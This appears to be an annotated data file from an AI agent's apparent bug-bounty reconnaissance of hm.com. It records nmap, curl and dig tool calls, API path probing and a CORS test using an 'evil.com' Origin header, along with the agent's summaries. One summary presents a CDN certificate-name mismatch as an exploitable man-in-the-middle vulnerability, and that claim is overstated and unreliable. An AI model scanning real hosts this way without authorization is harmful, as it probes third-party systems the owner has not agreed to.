;; WHEN: [DATE_TIME] [DATE_TIME] [DATE_TIME]
|
||
;; MSG SIZE rcvd: 40";32:37:URL|227:232:URL|262:267:URL|279:291:IP_ADDRESS|327:339:IP_ADDRESS|343:355:IP_ADDRESS|372:383:DATE_TIME;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;Hackerone;{'role': 'tool'};32:37:URL|228:233:URL|264:269:URL|282:287:IP_ADDRESS|330:335:IP_ADDRESS|344:349:IP_ADDRESS|371:376:DATE_TIME|375:380:DATE_TIME|379:384:DATE_TIME;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_hm_3;"Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-18 13:16 UTC
|
||
Nmap scan report for hm.com (23.14.136.55)
|
||
Host is up (0.0067s latency).
|
||
Other addresses for hm.com (not scanned): 2a02:26f0:1380:3a1::6ae 2a02:26f0:1380:387::6ae
|
||
rDNS record for 23.14.136.55: a23-14-136-55.deploy.static.akamaitechnologies.com
|
||
Not shown: 98 filtered tcp ports (no-response)
|
||
PORT STATE SERVICE VERSION
|
||
80/tcp open http AkamaiGHost (Akamai's HTTP Acceleration/Mirror service)
|
||
443/tcp open ssl/http AkamaiGHost (Akamai's HTTP Acceleration/Mirror service)
|
||
|
||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||
Nmap done: 1 IP address (1 host up) scanned in 30.74 seconds";"Starting Nmap 7.95 ( [URL] ) at [DATE_TIME] [DATE_TIME]
|
||
Nmap scan report for [URL] ([IP_ADDRESS])
|
||
Host is up (0.0067s latency).
|
||
Other addresses for [URL] (not scanned): [IP_ADDRESS] [IP_ADDRESS]
|
||
rDNS record for [IP_ADDRESS]: [URL]
|
||
Not shown: 98 filtered tcp ports (no-response)
|
||
PORT STATE SERVICE VERSION
|
||
80/tcp open http [ORGANIZATION] ([ORGANIZATION]’s HTTP Acceleration/Mirror service)
|
||
443/tcp open ssl/http [ORGANIZATION] ([ORGANIZATION]’s HTTP Acceleration/Mirror service)
|
||
|
||
Service detection performed. Please report any incorrect results at [URL].
|
||
Nmap done: 1 IP address (1 host up) scanned in 30.74 seconds";21:26:URL|32:43:DATE_TIME|75:80:URL|82:94:IP_ADDRESS|146:151:URL|167:179:IP_ADDRESS|180:192:IP_ADDRESS|209:221:IP_ADDRESS|223:228:URL|330:344:ORGANIZATION|346:360:ORGANIZATION|420:434:ORGANIZATION|436:450:ORGANIZATION|556:561:URL;OOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONOOB-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONOOB-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;Hackerone;{'role': 'tool'};21:26:URL|43:48:DATE_TIME|54:59:DATE_TIME|85:90:URL|93:98:IP_ADDRESS|157:162:URL|179:184:IP_ADDRESS|203:208:IP_ADDRESS|243:248:IP_ADDRESS|257:262:URL|409:414:ORGANIZATION|422:427:ORGANIZATION;OOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEOOOOOOB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONOOOOOOOOB-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_hm_4;"HTTP/2 200
|
||
content-type: text/html
|
||
content-length: 10
|
||
date: Tue, 18 Mar 2025 13:17:10 GMT
|
||
server-timing: ak_p; desc=""1742303830326_1600482786_566663660_12_10875_13_36_15"";dur=1";"HTTP/2 200
|
||
content-type: text/html
|
||
content-length: 10
|
||
date: [DATE_TIME] [DATE_TIME]
|
||
server-timing: ak_p; desc=""1742303830326_1600482786_566663660_12_10875_13_36_15"";dur=1";61:72:DATE_TIME;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;Hackerone;{'role': 'tool'};61:66:DATE_TIME|66:71:DATE_TIME;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_hm_5;"{""command"": ""curl"", ""args"": ""https://api.hm.com""}";"{""command"": ""curl"", ""args"": “[URL]”}";29:34:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOO;Hackerone;{'role': 'assistant'};;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_hm_6;"% Total % Received % Xferd Average Speed Time Time Time Current
|
||
Dload Upload Total Spent Left Speed
|
||
|
||
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
|
||
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
|
||
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
|
||
curl: (60) SSL: certificate subject name (a248.e.akamai.net) does not match target hostname 'shop.hm.com'
|
||
More details here: https://curl.se/docs/sslcerts.html
|
||
|
||
curl failed to verify the legitimacy of the server and therefore could not
|
||
establish a secure connection to it. To learn more about this situation and
|
||
how to fix it, please visit the webpage mentioned above.";"% Total % Received % Xferd Average Speed Time Time Time Current
|
||
Dload Upload Total Spent Left Speed
|
||
|
||
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
|
||
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
|
||
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
|
||
curl: (60) SSL: certificate subject name ([URL]) does not match target hostname '[URL]'
|
||
More details here: [URL]
|
||
|
||
curl failed to verify the legitimacy of the server and therefore could not
|
||
establish a secure connection to it. To learn more about this situation and
|
||
how to fix it, please visit the webpage mentioned above.";436:441:URL|475:480:URL|501:506:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;Hackerone;{'role': 'tool'};436:441:URL|487:492:URL|519:524:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_hm_7;"Let's summarize our findings:
|
||
|
||
1. We discovered several subdomains: www.hm.com, api.hm.com, stage.hm.com, mobile.hm.com, shop.hm.com
|
||
2. We found a potential SSL certificate mismatch vulnerability on shop.hm.com (certificate for a248.e.akamai.net)
|
||
3. The main website and API endpoints are protected by Akamai CDN
|
||
4. The mobile subdomain has an associated mail server (mx001.mobile.hm.com)
|
||
5. The shop.hm.com subdomain redirects to www.hm.com
|
||
|
||
The most notable vulnerability we found is the SSL certificate mismatch on shop.hm.com, which could potentially be exploited in man-in-the-middle attacks. This is a security issue that should be reported as part of a bug bounty program.
|
||
|
||
Would you like me to explore any specific aspect of these findings in more depth?";"Let's summarize our findings:
|
||
|
||
1. We discovered several subdomains: [URL], [URL], [URL], [URL], [URL]
|
||
2. We found a potential SSL certificate mismatch vulnerability on [URL] (certificate for [URL])
|
||
3. The main website and API endpoints are protected by [ORGANIZATION] CDN
|
||
4. The mobile subdomain has an associated mail server ([URL])
|
||
5. The [URL] subdomain redirects to [URL]
|
||
|
||
The most notable vulnerability we found is the SSL certificate mismatch on [URL], which could potentially be exploited in man-in-the-middle attacks. This is a security issue that should be reported as part of a bug bounty program.
|
||
|
||
Would you like me to explore any specific aspect of these findings in more depth?";68:73:URL|75:80:URL|82:87:URL|89:94:URL|96:101:URL|197:202:URL|259:273:ORGANIZATION|333:338:URL|347:352:URL|376:381:URL|458:463:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOB-URLI-URLI-URLI-URLI-URLOOB-URLI-URLI-URLI-URLI-URLOOB-URLI-URLI-URLI-URLI-URLOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;Hackerone;{'role': 'assistant'};68:73:URL|80:85:URL|92:97:URL|106:111:URL|121:126:URL|199:204:URL|228:233:URL|302:307:ORGANIZATION|368:373:URL|396:401:URL|431:436:URL|518:523:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONI-ORGANIZATIONOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_hm_8;"{""command"": ""dig"", ""args"": ""ANY mx001.mobile.hm.com""}";"{""command"": ""dig"", ""args"": ""ANY [URL]""}";32:37:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOO;Hackerone;{'role': 'assistant'};32:37:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOO
|
||
id_hm_9;"{""command"": ""for"", ""args"": ""endpoint in api v1 v2 rest graphql users products orders; do echo \""Testing $endpoint:\""; curl -s -o /dev/null -w \""%{http_code}\"" https://api.hm.com/$endpoint; echo \""\""; done""}";"{""command"": ""for"", ""args"": ""endpoint in api v1 v2 rest graphql users products orders; do echo \""Testing $endpoint:\""; curl -s -o /dev/null -w \""%{http_code}\"" [URL]; echo \""\""; done""}";159:164:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOO;Hackerone;{'role': 'assistant'};159:164:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_hm_10;"{""command"": ""curl"", ""args"": ""-H \""Origin: https://evil.com\"" -I https://api.hm.com""}";"{""command"": ""curl"", ""args"": ""-H \""Origin: [URL]"" -I [URL]""}";42:47:URL|52:57:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOB-URLI-URLI-URLI-URLI-URLOO;Hackerone;{'role': 'assistant'};42:47:URL|64:69:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOO
|
||
id_hm_11;"Based on our exploration, here are the findings:
|
||
|
||
For mx001.mobile.hm.com:
|
||
1. It appears to be a mail server based on the MX record, but all common mail ports (25, 110, 143, etc.) are filtered or blocked.
|
||
2. We couldn't establish a connection to test for common mail server vulnerabilities like open relay.
|
||
3. The server appears to be well-protected with a firewall that blocks direct access to mail services.
|
||
|
||
For api.hm.com:
|
||
1. The API subdomain exists and returns a basic response with just ""api.hm.com"" as content.
|
||
2. Common API documentation endpoints (swagger.json, swagger-ui) return ""Service Unavailable"" errors.
|
||
3. All attempted API endpoints return 403 Forbidden responses, indicating proper access controls.
|
||
4. No CORS misconfiguration was detected.
|
||
5. The API appears to be protected by Akamai CDN/WAF, which blocks potential malicious requests like path traversal attempts.
|
||
|
||
Potential vulnerabilities:
|
||
1. The most significant finding remains the SSL certificate mismatch on shop.hm.com we discovered earlier.
|
||
2. The API appears to be well-protected, with no obvious vulnerabilities detected in our testing.
|
||
3. The mail server appears to be properly configured to block direct access from the internet.
|
||
|
||
Would you like me to explore any other aspects or try different approaches to find potential vulnerabilities?";"Based on our exploration, here are the findings:
|
||
|
||
For [URL]:
|
||
1. It appears to be a mail server based on the MX record, but all common mail ports (25, 110, 143, etc.) are filtered or blocked.
|
||
2. We couldn't establish a connection to test for common mail server vulnerabilities like open relay.
|
||
3. The server appears to be well-protected with a firewall that blocks direct access to mail services.
|
||
|
||
For [URL]:
|
||
1. The API subdomain exists and returns a basic response with just ""[URL]"" as content.
|
||
2. Common API documentation endpoints (swagger.json, swagger-ui) return ""Service Unavailable"" errors.
|
||
3. All attempted API endpoints return 403 Forbidden responses, indicating proper access controls.
|
||
4. No CORS misconfiguration was detected.
|
||
5. The API appears to be protected by [ORGANIZATION] CDN/WAF, which blocks potential malicious requests like path traversal attempts.
|
||
|
||
Potential vulnerabilities:
|
||
1. The most significant finding remains the SSL certificate mismatch on [URL] we discovered earlier.
|
||
2. The API appears to be well-protected, with no obvious vulnerabilities detected in our testing.
|
||
3. The mail server appears to be properly configured to block direct access from the internet.
|
||
|
||
Would you like me to explore any other aspects or try different approaches to find potential vulnerabilities?";54:59:URL|401:406:URL|476:481:URL|775:789:ORGANIZATION|971:976:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO